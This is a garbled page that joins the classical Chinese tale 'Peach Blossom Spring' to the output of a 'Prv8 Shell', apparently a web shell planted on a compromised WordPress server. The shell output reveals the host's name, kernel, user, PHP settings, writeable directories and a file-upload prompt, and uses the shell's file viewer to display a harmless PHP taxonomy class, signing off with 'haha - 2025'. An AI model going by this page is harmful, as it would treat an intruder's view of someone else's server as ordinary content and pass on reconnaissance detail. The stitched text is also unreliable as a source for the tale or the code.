晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/www/wp-content/plugins/uwac/adminframework/classes/posttype/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/stando/www/wp-content/plugins/uwac/adminframework/classes/posttype/taxonomy.php
<?php

namespace PostTypes;

/**
 * Taxonomy
 *
 * Used to help create taxonomies
 *
 * @link http://github.com/jjgrainger/PostTypes/
 * @author  jjgrainger
 * @link    http://jjgrainger.co.uk
 * @version 1.1.1
 * @license http://www.opensource.org/licenses/mit-license.html MIT License
 */
class Taxonomy
{
    /**
     * The name of the taxonomy
     * @var string
     */
    public $name;

    /**
     * The singular label
     * @var string
     */
    public $singular;

    /**
     * The plural label
     * @var string
     */
    public $plural;

    /**
     * The slug
     * @var string
     */
    public $slug;

    /**
     * The options for the taxonomy
     * @var array
     */
    public $options;

    /**
     * The textdomain for translation
     * @var string
     */
    public $textdomain = 'cpt';

    /**
     * Create the taxonomy object
     * @param mixed $names   an array/string of taxonomy names
     * @param array $options an array of taxonomy options
     */
    public function __construct($names, $options)
    {
        // set names for taxonomy
        $this->setNames($names);

        // set the options for the taxonomy
        $this->setOptions($options);
    }

    /**
     * Set the required names for the taxonomy
     * @param mixed $names an array/string of taxonomy names
     */
    public function setNames($names)
    {
        if (!is_array($names)) {
            $names = ['name' => $names];
        }

        $required = [
            // 'name',
            'singular',
            'plural',
            'slug',
        ];

        foreach ($required as $key) {
            // if the name has not been passed, generate it
            if (!isset($names[$key])) {
                // if it is the singular/plural make the post type name human friendly
                if ($key === 'singular' || $key === 'plural') {
                    $name = ucwords(strtolower(str_replace('-', ' ', str_replace('_', ' ', $names['name']))));

                    // if plural add an s
                    if ($key === 'plural') {
                        $name .= 's';
                    }

                // if the slug, slugify the post type name
                } elseif ($key === 'slug') {
                    $name = strtolower(str_replace([' ', '_'], '-', $names['name']));
                }

            // otherwise use the name passed
            } else {
                $name = $names[$key];
            }

            // set the name
            $this->$key = $name;
        }
    }

    /**
     * Set the options for the taxonomy
     * @param array $options an array of options for the taxonomy
     */
    public function setOptions($options)
    {
        // default labels
        $labels = [
            'name' => sprintf(__('%s', $this->textdomain), $this->plural),
            'singular_name' => sprintf(__('%s', $this->textdomain), $this->singular),
            'menu_name' => sprintf(__('%s', $this->textdomain), $this->plural),
            'all_items' => sprintf(__('All %s', $this->textdomain), $this->plural),
            'edit_item' => sprintf(__('Edit %s', $this->textdomain), $this->singular),
            'view_item' => sprintf(__('View %s', $this->textdomain), $this->singular),
            'update_item' => sprintf(__('Update %s', $this->textdomain), $this->singular),
            'add_new_item' => sprintf(__('Add New %s', $this->textdomain), $this->singular),
            'new_item_name' => sprintf(__('New %s Name', $this->textdomain), $this->singular),
            'parent_item' => sprintf(__('Parent %s', $this->textdomain), $this->plural),
            'parent_item_colon' => sprintf(__('Parent %s:', $this->textdomain), $this->plural),
            'search_items' => sprintf(__('Search %s', $this->textdomain), $this->plural),
            'popular_items' => sprintf(__('Popular %s', $this->textdomain), $this->plural),
            'separate_items_with_commas' => sprintf(__('Seperate %s with commas', $this->textdomain), $this->plural),
            'add_or_remove_items' => sprintf(__('Add or remove %s', $this->textdomain), $this->plural),
            'choose_from_most_used' => sprintf(__('Choose from most used %s', $this->textdomain), $this->plural),
            'not_found' => sprintf(__('No %s found', $this->textdomain), $this->plural),
        ];

        // default options
        $defaults = [
            'labels' => $labels,
            'hierarchical' => true,
            'rewrite' => [
                'slug' => $this->slug,
            ],
        ];

        // merge default options with user submitted options
        $this->options = array_replace_recursive($defaults, $options);
    }

    /**
     * Set the textdomain for translation
     * @param  string $textdomain the textdomain
     */
    public function textdomain($textdomain)
    {
        $this->textdomain = $textdomain;
    }
}

haha - 2025